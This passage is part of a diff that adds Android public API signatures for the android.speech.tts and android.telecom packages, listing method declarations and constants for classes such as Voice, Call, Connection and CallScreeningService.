+    method protected java.util.Set<java.lang.String> onGetFeaturesForLanguage(String, String, String);
+    method protected abstract String[] onGetLanguage();
+    method public java.util.List<android.speech.tts.Voice> onGetVoices();
+    method protected abstract int onIsLanguageAvailable(String, String, String);
+    method public int onIsValidVoiceName(String);
+    method protected abstract int onLoadLanguage(String, String, String);
+    method public int onLoadVoice(String);
+    method protected abstract void onStop();
+    method protected abstract void onSynthesizeText(android.speech.tts.SynthesisRequest, android.speech.tts.SynthesisCallback);
+  }
+
+  public abstract class UtteranceProgressListener {
+    ctor public UtteranceProgressListener();
+    method public void onAudioAvailable(String, byte[]);
+    method public void onBeginSynthesis(String, int, int, int);
+    method public abstract void onDone(String);
+    method @Deprecated public abstract void onError(String);
+    method public void onError(String, int);
+    method public void onRangeStart(String, int, int, int);
+    method public abstract void onStart(String);
+    method public void onStop(String, boolean);
+  }
+
+  public class Voice implements android.os.Parcelable {
+    ctor public Voice(String, java.util.Locale, int, int, boolean, java.util.Set<java.lang.String>);
+    method public int describeContents();
+    method public java.util.Set<java.lang.String> getFeatures();
+    method public int getLatency();
+    method public java.util.Locale getLocale();
+    method public String getName();
+    method public int getQuality();
+    method public boolean isNetworkConnectionRequired();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.speech.tts.Voice> CREATOR;
+    field public static final int LATENCY_HIGH = 400; // 0x190
+    field public static final int LATENCY_LOW = 200; // 0xc8
+    field public static final int LATENCY_NORMAL = 300; // 0x12c
+    field public static final int LATENCY_VERY_HIGH = 500; // 0x1f4
+    field public static final int LATENCY_VERY_LOW = 100; // 0x64
+    field public static final int QUALITY_HIGH = 400; // 0x190
+    field public static final int QUALITY_LOW = 200; // 0xc8
+    field public static final int QUALITY_NORMAL = 300; // 0x12c
+    field public static final int QUALITY_VERY_HIGH = 500; // 0x1f4
+    field public static final int QUALITY_VERY_LOW = 100; // 0x64
+  }
+
+}
+
+package android.telecom {
+
+  public final class Call {
+    method public void addConferenceParticipants(@NonNull java.util.List<android.net.Uri>);
+    method public void answer(int);
+    method public void conference(android.telecom.Call);
+    method public void deflect(android.net.Uri);
+    method public void disconnect();
+    method public java.util.List<java.lang.String> getCannedTextResponses();
+    method public java.util.List<android.telecom.Call> getChildren();
+    method public java.util.List<android.telecom.Call> getConferenceableCalls();
+    method public android.telecom.Call.Details getDetails();
+    method @Nullable public android.telecom.Call getGenericConferenceActiveChildCall();
+    method public android.telecom.Call getParent();
+    method public String getRemainingPostDialSequence();
+    method @Nullable public android.telecom.Call.RttCall getRttCall();
+    method @Deprecated public int getState();
+    method public android.telecom.InCallService.VideoCall getVideoCall();
+    method public void handoverTo(android.telecom.PhoneAccountHandle, int, android.os.Bundle);
+    method public void hold();
+    method public boolean isRttActive();
+    method public void mergeConference();
+    method public void phoneAccountSelected(android.telecom.PhoneAccountHandle, boolean);
+    method public void playDtmfTone(char);
+    method public void postDialContinue(boolean);
+    method public void pullExternalCall();
+    method public void putExtras(android.os.Bundle);
+    method public void registerCallback(android.telecom.Call.Callback);
+    method public void registerCallback(android.telecom.Call.Callback, android.os.Handler);
+    method public void reject(boolean, String);
+    method public void reject(int);
+    method public void removeExtras(java.util.List<java.lang.String>);
+    method public void removeExtras(java.lang.String...);
+    method public void respondToRttRequest(int, boolean);
+    method public void sendCallEvent(String, android.os.Bundle);
+    method public void sendRttRequest();
+    method public void splitFromConference();
+    method public void stopDtmfTone();
+    method public void stopRtt();
+    method public void swapConference();
+    method public void unhold();
+    method public void unregisterCallback(android.telecom.Call.Callback);
+    field @Deprecated public static final String AVAILABLE_PHONE_ACCOUNTS = "selectPhoneAccountAccounts";
+    field public static final String EVENT_CLEAR_DIAGNOSTIC_MESSAGE = "android.telecom.event.CLEAR_DIAGNOSTIC_MESSAGE";
+    field public static final String EVENT_DISPLAY_DIAGNOSTIC_MESSAGE = "android.telecom.event.DISPLAY_DIAGNOSTIC_MESSAGE";
+    field public static final String EXTRA_DIAGNOSTIC_MESSAGE = "android.telecom.extra.DIAGNOSTIC_MESSAGE";
+    field public static final String EXTRA_DIAGNOSTIC_MESSAGE_ID = "android.telecom.extra.DIAGNOSTIC_MESSAGE_ID";
+    field public static final String EXTRA_LAST_EMERGENCY_CALLBACK_TIME_MILLIS = "android.telecom.extra.LAST_EMERGENCY_CALLBACK_TIME_MILLIS";
+    field public static final String EXTRA_SILENT_RINGING_REQUESTED = "android.telecom.extra.SILENT_RINGING_REQUESTED";
+    field public static final String EXTRA_SUGGESTED_PHONE_ACCOUNTS = "android.telecom.extra.SUGGESTED_PHONE_ACCOUNTS";
+    field public static final int REJECT_REASON_DECLINED = 1; // 0x1
+    field public static final int REJECT_REASON_UNWANTED = 2; // 0x2
+    field public static final int STATE_ACTIVE = 4; // 0x4
+    field public static final int STATE_AUDIO_PROCESSING = 12; // 0xc
+    field public static final int STATE_CONNECTING = 9; // 0x9
+    field public static final int STATE_DIALING = 1; // 0x1
+    field public static final int STATE_DISCONNECTED = 7; // 0x7
+    field public static final int STATE_DISCONNECTING = 10; // 0xa
+    field public static final int STATE_HOLDING = 3; // 0x3
+    field public static final int STATE_NEW = 0; // 0x0
+    field public static final int STATE_PULLING_CALL = 11; // 0xb
+    field public static final int STATE_RINGING = 2; // 0x2
+    field public static final int STATE_SELECT_PHONE_ACCOUNT = 8; // 0x8
+    field public static final int STATE_SIMULATED_RINGING = 13; // 0xd
+  }
+
+  public abstract static class Call.Callback {
+    ctor public Call.Callback();
+    method public void onCallDestroyed(android.telecom.Call);
+    method public void onCannedTextResponsesLoaded(android.telecom.Call, java.util.List<java.lang.String>);
+    method public void onChildrenChanged(android.telecom.Call, java.util.List<android.telecom.Call>);
+    method public void onConferenceableCallsChanged(android.telecom.Call, java.util.List<android.telecom.Call>);
+    method public void onConnectionEvent(android.telecom.Call, String, android.os.Bundle);
+    method public void onDetailsChanged(android.telecom.Call, android.telecom.Call.Details);
+    method public void onHandoverComplete(android.telecom.Call);
+    method public void onHandoverFailed(android.telecom.Call, int);
+    method public void onParentChanged(android.telecom.Call, android.telecom.Call);
+    method public void onPostDialWait(android.telecom.Call, String);
+    method public void onRttInitiationFailure(android.telecom.Call, int);
+    method public void onRttModeChanged(android.telecom.Call, int);
+    method public void onRttRequest(android.telecom.Call, int);
+    method public void onRttStatusChanged(android.telecom.Call, boolean, android.telecom.Call.RttCall);
+    method public void onStateChanged(android.telecom.Call, int);
+    method public void onVideoCallChanged(android.telecom.Call, android.telecom.InCallService.VideoCall);
+    field public static final int HANDOVER_FAILURE_DEST_APP_REJECTED = 1; // 0x1
+    field public static final int HANDOVER_FAILURE_NOT_SUPPORTED = 2; // 0x2
+    field public static final int HANDOVER_FAILURE_ONGOING_EMERGENCY_CALL = 4; // 0x4
+    field public static final int HANDOVER_FAILURE_UNKNOWN = 5; // 0x5
+    field public static final int HANDOVER_FAILURE_USER_REJECTED = 3; // 0x3
+  }
+
+  public static class Call.Details {
+    method public static boolean can(int, int);
+    method public boolean can(int);
+    method public static String capabilitiesToString(int);
+    method public android.telecom.PhoneAccountHandle getAccountHandle();
+    method public int getCallCapabilities();
+    method public int getCallDirection();
+    method public int getCallProperties();
+    method public String getCallerDisplayName();
+    method public int getCallerDisplayNamePresentation();
+    method public int getCallerNumberVerificationStatus();
+    method public final long getConnectTimeMillis();
+    method @Nullable public String getContactDisplayName();
+    method public long getCreationTimeMillis();
+    method public android.telecom.DisconnectCause getDisconnectCause();
+    method public android.os.Bundle getExtras();
+    method public android.telecom.GatewayInfo getGatewayInfo();
+    method public android.net.Uri getHandle();
+    method public int getHandlePresentation();
+    method public android.os.Bundle getIntentExtras();
+    method public final int getState();
+    method public android.telecom.StatusHints getStatusHints();
+    method public int getVideoState();
+    method public static boolean hasProperty(int, int);
+    method public boolean hasProperty(int);
+    method public static String propertiesToString(int);
+    field public static final int CAPABILITY_ADD_PARTICIPANT = 33554432; // 0x2000000
+    field public static final int CAPABILITY_CANNOT_DOWNGRADE_VIDEO_TO_AUDIO = 4194304; // 0x400000
+    field public static final int CAPABILITY_CAN_PAUSE_VIDEO = 1048576; // 0x100000
+    field public static final int CAPABILITY_CAN_PULL_CALL = 8388608; // 0x800000
+    field public static final int CAPABILITY_DISCONNECT_FROM_CONFERENCE = 8192; // 0x2000
+    field public static final int CAPABILITY_HOLD = 1; // 0x1
+    field public static final int CAPABILITY_MANAGE_CONFERENCE = 128; // 0x80
+    field public static final int CAPABILITY_MERGE_CONFERENCE = 4; // 0x4
+    field public static final int CAPABILITY_MUTE = 64; // 0x40
+    field public static final int CAPABILITY_RESPOND_VIA_TEXT = 32; // 0x20
+    field public static final int CAPABILITY_SEPARATE_FROM_CONFERENCE = 4096; // 0x1000
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL = 768; // 0x300
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_RX = 256; // 0x100
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_TX = 512; // 0x200
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_BIDIRECTIONAL = 3072; // 0xc00
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_RX = 1024; // 0x400
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_TX = 2048; // 0x800
+    field public static final int CAPABILITY_SUPPORT_DEFLECT = 16777216; // 0x1000000
+    field public static final int CAPABILITY_SUPPORT_HOLD = 2; // 0x2
+    field public static final int CAPABILITY_SWAP_CONFERENCE = 8; // 0x8
+    field public static final int DIRECTION_INCOMING = 0; // 0x0
+    field public static final int DIRECTION_OUTGOING = 1; // 0x1
+    field public static final int DIRECTION_UNKNOWN = -1; // 0xffffffff
+    field public static final int PROPERTY_ASSISTED_DIALING = 512; // 0x200
+    field public static final int PROPERTY_CONFERENCE = 1; // 0x1
+    field public static final int PROPERTY_CROSS_SIM = 16384; // 0x4000
+    field public static final int PROPERTY_EMERGENCY_CALLBACK_MODE = 4; // 0x4
+    field public static final int PROPERTY_ENTERPRISE_CALL = 32; // 0x20
+    field public static final int PROPERTY_GENERIC_CONFERENCE = 2; // 0x2
+    field public static final int PROPERTY_HAS_CDMA_VOICE_PRIVACY = 128; // 0x80
+    field public static final int PROPERTY_HIGH_DEF_AUDIO = 16; // 0x10
+    field public static final int PROPERTY_IS_ADHOC_CONFERENCE = 8192; // 0x2000
+    field public static final int PROPERTY_IS_EXTERNAL_CALL = 64; // 0x40
+    field public static final int PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL = 2048; // 0x800
+    field public static final int PROPERTY_RTT = 1024; // 0x400
+    field public static final int PROPERTY_SELF_MANAGED = 256; // 0x100
+    field public static final int PROPERTY_VOIP_AUDIO_MODE = 4096; // 0x1000
+    field public static final int PROPERTY_WIFI = 8; // 0x8
+  }
+
+  public static final class Call.RttCall {
+    method public int getRttAudioMode();
+    method public String read();
+    method public String readImmediately() throws java.io.IOException;
+    method public void setRttMode(int);
+    method public void write(String) throws java.io.IOException;
+    field public static final int RTT_MODE_FULL = 1; // 0x1
+    field public static final int RTT_MODE_HCO = 2; // 0x2
+    field public static final int RTT_MODE_VCO = 3; // 0x3
+  }
+
+  public final class CallAudioState implements android.os.Parcelable {
+    ctor public CallAudioState(boolean, int, int);
+    method public static String audioRouteToString(int);
+    method public int describeContents();
+    method public android.bluetooth.BluetoothDevice getActiveBluetoothDevice();
+    method public int getRoute();
+    method public java.util.Collection<android.bluetooth.BluetoothDevice> getSupportedBluetoothDevices();
+    method public int getSupportedRouteMask();
+    method public boolean isMuted();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.CallAudioState> CREATOR;
+    field public static final int ROUTE_BLUETOOTH = 2; // 0x2
+    field public static final int ROUTE_EARPIECE = 1; // 0x1
+    field public static final int ROUTE_SPEAKER = 8; // 0x8
+    field public static final int ROUTE_WIRED_HEADSET = 4; // 0x4
+    field public static final int ROUTE_WIRED_OR_EARPIECE = 5; // 0x5
+  }
+
+  public abstract class CallRedirectionService extends android.app.Service {
+    ctor public CallRedirectionService();
+    method public final void cancelCall();
+    method @Nullable public final android.os.IBinder onBind(@NonNull android.content.Intent);
+    method public abstract void onPlaceCall(@NonNull android.net.Uri, @NonNull android.telecom.PhoneAccountHandle, boolean);
+    method public final boolean onUnbind(@NonNull android.content.Intent);
+    method public final void placeCallUnmodified();
+    method public final void redirectCall(@NonNull android.net.Uri, @NonNull android.telecom.PhoneAccountHandle, boolean);
+    field public static final String SERVICE_INTERFACE = "android.telecom.CallRedirectionService";
+  }
+
+  public abstract class CallScreeningService extends android.app.Service {
+    ctor public CallScreeningService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public abstract void onScreenCall(@NonNull android.telecom.Call.Details);
+    method public final void respondToCall(@NonNull android.telecom.Call.Details, @NonNull android.telecom.CallScreeningService.CallResponse);
+    field public static final String SERVICE_INTERFACE = "android.telecom.CallScreeningService";
+  }
+
+  public static class CallScreeningService.CallResponse {
+    method public int getCallComposerAttachmentsToShow();
+    method public boolean getDisallowCall();
+    method public boolean getRejectCall();
+    method public boolean getSilenceCall();
+    method public boolean getSkipCallLog();
+    method public boolean getSkipNotification();
+    field public static final int CALL_COMPOSER_ATTACHMENT_LOCATION = 2; // 0x2
+    field public static final int CALL_COMPOSER_ATTACHMENT_PICTURE = 1; // 0x1
+    field public static final int CALL_COMPOSER_ATTACHMENT_PRIORITY = 8; // 0x8
+    field public static final int CALL_COMPOSER_ATTACHMENT_SUBJECT = 4; // 0x4
+  }
+
+  public static class CallScreeningService.CallResponse.Builder {
+    ctor public CallScreeningService.CallResponse.Builder();
+    method public android.telecom.CallScreeningService.CallResponse build();
+    method @NonNull public android.telecom.CallScreeningService.CallResponse.Builder setCallComposerAttachmentsToShow(int);
+    method public android.telecom.CallScreeningService.CallResponse.Builder setDisallowCall(boolean);
+    method public android.telecom.CallScreeningService.CallResponse.Builder setRejectCall(boolean);
+    method @NonNull public android.telecom.CallScreeningService.CallResponse.Builder setSilenceCall(boolean);
+    method public android.telecom.CallScreeningService.CallResponse.Builder setSkipCallLog(boolean);
+    method public android.telecom.CallScreeningService.CallResponse.Builder setSkipNotification(boolean);
+  }
+
+  public abstract class Conference extends android.telecom.Conferenceable {
+    ctor public Conference(android.telecom.PhoneAccountHandle);
+    method public final boolean addConnection(android.telecom.Connection);
+    method @NonNull public static android.telecom.Conference createFailedConference(@NonNull android.telecom.DisconnectCause, @NonNull android.telecom.PhoneAccountHandle);
+    method public final void destroy();
+    method public final android.telecom.CallAudioState getCallAudioState();
+    method public final java.util.List<android.telecom.Connection> getConferenceableConnections();
+    method public final int getConnectionCapabilities();
+    method public final int getConnectionProperties();
+    method public final long getConnectionStartElapsedRealtimeMillis();
+    method @IntRange(from=0) public final long getConnectionTime();
+    method public final java.util.List<android.telecom.Connection> getConnections();
+    method public final android.telecom.DisconnectCause getDisconnectCause();
+    method public final android.os.Bundle getExtras();
+    method public final android.telecom.PhoneAccountHandle getPhoneAccountHandle();
+    method public final int getState();
+    method public final android.telecom.StatusHints getStatusHints();
+    method public android.telecom.Connection.VideoProvider getVideoProvider();
+    method public int getVideoState();
+    method public final boolean isRingbackRequested();
+    method public void onAddConferenceParticipants(@NonNull java.util.List<android.net.Uri>);
+    method public void onAnswer(int);
+    method public void onCallAudioStateChanged(android.telecom.CallAudioState);
+    method public void onConnectionAdded(android.telecom.Connection);
+    method public void onDisconnect();
+    method public void onExtrasChanged(android.os.Bundle);
+    method public void onHold();
+    method public void onMerge(android.telecom.Connection);
+    method public void onMerge();
+    method public void onPlayDtmfTone(char);
+    method public void onReject();
+    method public void onSeparate(android.telecom.Connection);
+    method public void onStopDtmfTone();
+    method public void onSwap();
+    method public void onUnhold();
+    method public final void putExtras(@NonNull android.os.Bundle);
+    method public final void removeConnection(android.telecom.Connection);
+    method public final void removeExtras(java.util.List<java.lang.String>);
+    method public final void removeExtras(java.lang.String...);
+    method public void sendConferenceEvent(@NonNull String, @Nullable android.os.Bundle);
+    method public final void setActive();
+    method public final void setConferenceableConnections(java.util.List<android.telecom.Connection>);
+    method public final void setConnectionCapabilities(int);
+    method public final void setConnectionProperties(int);
+    method @Deprecated public final void setConnectionStartElapsedRealTime(long);
+    method public final void setConnectionStartElapsedRealtimeMillis(long);
+    method public final void setConnectionTime(@IntRange(from=0) long);
+    method public final void setDialing();
+    method public final void setDisconnected(android.telecom.DisconnectCause);
+    method public final void setExtras(@Nullable android.os.Bundle);
+    method public final void setOnHold();
+    method public final void setRingbackRequested(boolean);
+    method public final void setRinging();
+    method public final void setStatusHints(android.telecom.StatusHints);
+    method public final void setVideoProvider(android.telecom.Connection, android.telecom.Connection.VideoProvider);
+    method public final void setVideoState(android.telecom.Connection, int);
+    field public static final long CONNECT_TIME_NOT_SPECIFIED = 0L; // 0x0L
+  }
+
+  public abstract class Conferenceable {
+  }
+
+  public abstract class Connection extends android.telecom.Conferenceable {
+    ctor public Connection();
+    method public static String capabilitiesToString(int);
+    method public static android.telecom.Connection createCanceledConnection();
+    method public static android.telecom.Connection createFailedConnection(android.telecom.DisconnectCause);
+    method public final void destroy();
+    method public final android.net.Uri getAddress();
+    method public final int getAddressPresentation();
+    method public final boolean getAudioModeIsVoip();
+    method public final android.telecom.CallAudioState getCallAudioState();
+    method public final String getCallerDisplayName();
+    method public final int getCallerDisplayNamePresentation();
+    method public final int getCallerNumberVerificationStatus();
+    method public final android.telecom.Conference getConference();
+    method public final java.util.List<android.telecom.Conferenceable> getConferenceables();
+    method public final int getConnectionCapabilities();
+    method public final int getConnectionProperties();
+    method public final android.telecom.DisconnectCause getDisconnectCause();
+    method public final android.os.Bundle getExtras();
+    method public final int getState();
+    method public final android.telecom.StatusHints getStatusHints();
+    method public final android.telecom.Connection.VideoProvider getVideoProvider();
+    method public final int getVideoState();
+    method public void handleRttUpgradeResponse(@Nullable android.telecom.Connection.RttTextStream);
+    method public final boolean isRingbackRequested();
+    method public final void notifyConferenceMergeFailed();
+    method public void onAbort();
+    method public void onAddConferenceParticipants(@NonNull java.util.List<android.net.Uri>);
+    method public void onAnswer(int);
+    method public void onAnswer();
+    method public void onCallAudioStateChanged(android.telecom.CallAudioState);
+    method public void onCallEvent(String, android.os.Bundle);
+    method public void onDeflect(android.net.Uri);
+    method public void onDisconnect();
+    method public void onExtrasChanged(android.os.Bundle);
+    method public void onHandoverComplete();
+    method public void onHold();
+    method public void onPlayDtmfTone(char);
+    method public void onPostDialContinue(boolean);
+    method public void onPullExternalCall();
+    method public void onReject();
+    method public void onReject(int);
+    method public void onReject(String);
+    method public void onSeparate();
+    method public void onShowIncomingCallUi();
+    method public void onSilence();
+    method public void onStartRtt(@NonNull android.telecom.Connection.RttTextStream);
+    method public void onStateChanged(int);
+    method public void onStopDtmfTone();
+    method public void onStopRtt();
+    method public void onTrackedByNonUiService(boolean);
+    method public void onUnhold();
+    method public void onUsingAlternativeUi(boolean);
+    method public static String propertiesToString(int);
+    method public final void putExtras(@NonNull android.os.Bundle);
+    method public final void removeExtras(java.util.List<java.lang.String>);
+    method public final void removeExtras(java.lang.String...);
+    method public void requestBluetoothAudio(@NonNull android.bluetooth.BluetoothDevice);
+    method public void sendConnectionEvent(String, android.os.Bundle);
+    method public final void sendRemoteRttRequest();
+    method public final void sendRttInitiationFailure(int);
+    method public final void sendRttInitiationSuccess();
+    method public final void sendRttSessionRemotelyTerminated();
+    method public final void setActive();
+    method public final void setAddress(android.net.Uri, int);
+    method public final void setAudioModeIsVoip(boolean);
+    method public final void setAudioRoute(int);
+    method public final void setCallerDisplayName(String, int);
+    method public final void setCallerNumberVerificationStatus(int);
+    method public final void setConferenceableConnections(java.util.List<android.telecom.Connection>);
+    method public final void setConferenceables(java.util.List<android.telecom.Conferenceable>);
+    method public final void setConnectionCapabilities(int);
+    method public final void setConnectionProperties(int);
+    method public final void setDialing();
+    method public final void setDisconnected(android.telecom.DisconnectCause);
+    method public final void setExtras(@Nullable android.os.Bundle);
+    method public final void setInitialized();
+    method public final void setInitializing();
+    method public final void setNextPostDialChar(char);
+    method public final void setOnHold();
+    method public final void setPostDialWait(String);
+    method public final void setPulling();
+    method public final void setRingbackRequested(boolean);
+    method public final void setRinging();
+    method public final void setStatusHints(android.telecom.StatusHints);
+    method public final void setVideoProvider(android.telecom.Connection.VideoProvider);
+    method public final void setVideoState(int);
+    method public static String stateToString(int);
+    field public static final int AUDIO_CODEC_AMR = 1; // 0x1
+    field public static final int AUDIO_CODEC_AMR_WB = 2; // 0x2
+    field public static final int AUDIO_CODEC_EVRC = 4; // 0x4
+    field public static final int AUDIO_CODEC_EVRC_B = 5; // 0x5
+    field public static final int AUDIO_CODEC_EVRC_NW = 7; // 0x7
+    field public static final int AUDIO_CODEC_EVRC_WB = 6; // 0x6
+    field public static final int AUDIO_CODEC_EVS_FB = 20; // 0x14
+    field public static final int AUDIO_CODEC_EVS_NB = 17; // 0x11
+    field public static final int AUDIO_CODEC_EVS_SWB = 19; // 0x13
+    field public static final int AUDIO_CODEC_EVS_WB = 18; // 0x12
+    field public static final int AUDIO_CODEC_G711A = 13; // 0xd
+    field public static final int AUDIO_CODEC_G711AB = 15; // 0xf
+    field public static final int AUDIO_CODEC_G711U = 11; // 0xb
+    field public static final int AUDIO_CODEC_G722 = 14; // 0xe
+    field public static final int AUDIO_CODEC_G723 = 12; // 0xc
+    field public static final int AUDIO_CODEC_G729 = 16; // 0x10
+    field public static final int AUDIO_CODEC_GSM_EFR = 8; // 0x8
+    field public static final int AUDIO_CODEC_GSM_FR = 9; // 0x9
+    field public static final int AUDIO_CODEC_GSM_HR = 10; // 0xa
+    field public static final int AUDIO_CODEC_NONE = 0; // 0x0
+    field public static final int AUDIO_CODEC_QCELP13K = 3; // 0x3
+    field public static final int CAPABILITY_ADD_PARTICIPANT = 67108864; // 0x4000000
+    field public static final int CAPABILITY_CANNOT_DOWNGRADE_VIDEO_TO_AUDIO = 8388608; // 0x800000
+    field public static final int CAPABILITY_CAN_PAUSE_VIDEO = 1048576; // 0x100000
+    field public static final int CAPABILITY_CAN_PULL_CALL = 16777216; // 0x1000000
+    field public static final int CAPABILITY_CAN_SEND_RESPONSE_VIA_CONNECTION = 4194304; // 0x400000
+    field @Deprecated public static final int CAPABILITY_CAN_UPGRADE_TO_VIDEO = 524288; // 0x80000
+    field public static final int CAPABILITY_DISCONNECT_FROM_CONFERENCE = 8192; // 0x2000
+    field public static final int CAPABILITY_HOLD = 1; // 0x1
+    field public static final int CAPABILITY_MANAGE_CONFERENCE = 128; // 0x80
+    field public static final int CAPABILITY_MERGE_CONFERENCE = 4; // 0x4
+    field public static final int CAPABILITY_MUTE = 64; // 0x40
+    field public static final int CAPABILITY_RESPOND_VIA_TEXT = 32; // 0x20
+    field public static final int CAPABILITY_SEPARATE_FROM_CONFERENCE = 4096; // 0x1000
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL = 768; // 0x300
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_RX = 256; // 0x100
+    field public static final int CAPABILITY_SUPPORTS_VT_LOCAL_TX = 512; // 0x200
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_BIDIRECTIONAL = 3072; // 0xc00
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_RX = 1024; // 0x400
+    field public static final int CAPABILITY_SUPPORTS_VT_REMOTE_TX = 2048; // 0x800
+    field public static final int CAPABILITY_SUPPORT_DEFLECT = 33554432; // 0x2000000
+    field public static final int CAPABILITY_SUPPORT_HOLD = 2; // 0x2
+    field public static final int CAPABILITY_SWAP_CONFERENCE = 8; // 0x8
+    field public static final String EVENT_CALL_HOLD_FAILED = "android.telecom.event.CALL_HOLD_FAILED";
+    field public static final String EVENT_CALL_MERGE_FAILED = "android.telecom.event.CALL_MERGE_FAILED";
+    field public static final String EVENT_CALL_PULL_FAILED = "android.telecom.event.CALL_PULL_FAILED";
+    field public static final String EVENT_CALL_REMOTELY_HELD = "android.telecom.event.CALL_REMOTELY_HELD";
+    field public static final String EVENT_CALL_REMOTELY_UNHELD = "android.telecom.event.CALL_REMOTELY_UNHELD";
+    field public static final String EVENT_CALL_SWITCH_FAILED = "android.telecom.event.CALL_SWITCH_FAILED";
+    field public static final String EVENT_MERGE_COMPLETE = "android.telecom.event.MERGE_COMPLETE";
+    field public static final String EVENT_MERGE_START = "android.telecom.event.MERGE_START";
+    field public static final String EVENT_ON_HOLD_TONE_END = "android.telecom.event.ON_HOLD_TONE_END";
+    field public static final String EVENT_ON_HOLD_TONE_START = "android.telecom.event.ON_HOLD_TONE_START";
+    field public static final String EVENT_RTT_AUDIO_INDICATION_CHANGED = "android.telecom.event.RTT_AUDIO_INDICATION_CHANGED";
+    field public static final String EXTRA_ANSWERING_DROPS_FG_CALL = "android.telecom.extra.ANSWERING_DROPS_FG_CALL";
+    field public static final String EXTRA_ANSWERING_DROPS_FG_CALL_APP_NAME = "android.telecom.extra.ANSWERING_DROPS_FG_CALL_APP_NAME";
+    field public static final String EXTRA_AUDIO_CODEC = "android.telecom.extra.AUDIO_CODEC";
+    field public static final String EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ = "android.telecom.extra.AUDIO_CODEC_BANDWIDTH_KHZ";
+    field public static final String EXTRA_AUDIO_CODEC_BITRATE_KBPS = "android.telecom.extra.AUDIO_CODEC_BITRATE_KBPS";
+    field public static final String EXTRA_CALL_SUBJECT = "android.telecom.extra.CALL_SUBJECT";
+    field public static final String EXTRA_CHILD_ADDRESS = "android.telecom.extra.CHILD_ADDRESS";
+    field public static final String EXTRA_IS_RTT_AUDIO_PRESENT = "android.telecom.extra.IS_RTT_AUDIO_PRESENT";
+    field public static final String EXTRA_LAST_FORWARDED_NUMBER = "android.telecom.extra.LAST_FORWARDED_NUMBER";
+    field public static final String EXTRA_SIP_INVITE = "android.telecom.extra.SIP_INVITE";
+    field public static final int PROPERTY_ASSISTED_DIALING = 512; // 0x200
+    field public static final int PROPERTY_CROSS_SIM = 8192; // 0x2000
+    field public static final int PROPERTY_HAS_CDMA_VOICE_PRIVACY = 32; // 0x20
+    field public static final int PROPERTY_HIGH_DEF_AUDIO = 4; // 0x4
+    field public static final int PROPERTY_IS_ADHOC_CONFERENCE = 4096; // 0x1000
+    field public static final int PROPERTY_IS_EXTERNAL_CALL = 16; // 0x10
+    field public static final int PROPERTY_IS_RTT = 256; // 0x100
+    field public static final int PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL = 1024; // 0x400
+    field public static final int PROPERTY_SELF_MANAGED = 128; // 0x80
+    field public static final int PROPERTY_WIFI = 8; // 0x8
+    field public static final int STATE_ACTIVE = 4; // 0x4
+    field public static final int STATE_DIALING = 3; // 0x3
+    field public static final int STATE_DISCONNECTED = 6; // 0x6
+    field public static final int STATE_HOLDING = 5; // 0x5
+    field public static final int STATE_INITIALIZING = 0; // 0x0
+    field public static final int STATE_NEW = 1; // 0x1
+    field public static final int STATE_PULLING_CALL = 7; // 0x7
+    field public static final int STATE_RINGING = 2; // 0x2
+    field public static final int VERIFICATION_STATUS_FAILED = 2; // 0x2
+    field public static final int VERIFICATION_STATUS_NOT_VERIFIED = 0; // 0x0
+    field public static final int VERIFICATION_STATUS_PASSED = 1; // 0x1
+  }
+
+  public static final class Connection.RttModifyStatus {
+    field public static final int SESSION_MODIFY_REQUEST_FAIL = 2; // 0x2
+    field public static final int SESSION_MODIFY_REQUEST_INVALID = 3; // 0x3
+    field public static final int SESSION_MODIFY_REQUEST_REJECTED_BY_REMOTE = 5; // 0x5
+    field public static final int SESSION_MODIFY_REQUEST_SUCCESS = 1; // 0x1
+    field public static final int SESSION_MODIFY_REQUEST_TIMED_OUT = 4; // 0x4
+  }
+
+  public static final class Connection.RttTextStream {
+    method public String read() throws java.io.IOException;
+    method public String readImmediately() throws java.io.IOException;
+    method public void write(String) throws java.io.IOException;
+  }
+
+  public abstract static class Connection.VideoProvider {
+    ctor public Connection.VideoProvider();
+    method public void changeCameraCapabilities(android.telecom.VideoProfile.CameraCapabilities);
+    method public void changePeerDimensions(int, int);
+    method public void changeVideoQuality(int);
+    method public void handleCallSessionEvent(int);
+    method public abstract void onRequestCameraCapabilities();
+    method public abstract void onRequestConnectionDataUsage();
+    method public abstract void onSendSessionModifyRequest(android.telecom.VideoProfile, android.telecom.VideoProfile);
+    method public abstract void onSendSessionModifyResponse(android.telecom.VideoProfile);
+    method public abstract void onSetCamera(String);
+    method public abstract void onSetDeviceOrientation(int);
+    method public abstract void onSetDisplaySurface(android.view.Surface);
+    method public abstract void onSetPauseImage(android.net.Uri);
+    method public abstract void onSetPreviewSurface(android.view.Surface);
+    method public abstract void onSetZoom(float);
+    method public void receiveSessionModifyRequest(android.telecom.VideoProfile);
+    method public void receiveSessionModifyResponse(int, android.telecom.VideoProfile, android.telecom.VideoProfile);
+    method public void setCallDataUsage(long);
+    field public static final int SESSION_EVENT_CAMERA_FAILURE = 5; // 0x5
+    field public static final int SESSION_EVENT_CAMERA_PERMISSION_ERROR = 7; // 0x7
+    field public static final int SESSION_EVENT_CAMERA_READY = 6; // 0x6
+    field public static final int SESSION_EVENT_RX_PAUSE = 1; // 0x1
+    field public static final int SESSION_EVENT_RX_RESUME = 2; // 0x2
+    field public static final int SESSION_EVENT_TX_START = 3; // 0x3
+    field public static final int SESSION_EVENT_TX_STOP = 4; // 0x4
+    field public static final int SESSION_MODIFY_REQUEST_FAIL = 2; // 0x2
+    field public static final int SESSION_MODIFY_REQUEST_INVALID = 3; // 0x3
+    field public static final int SESSION_MODIFY_REQUEST_REJECTED_BY_REMOTE = 5; // 0x5
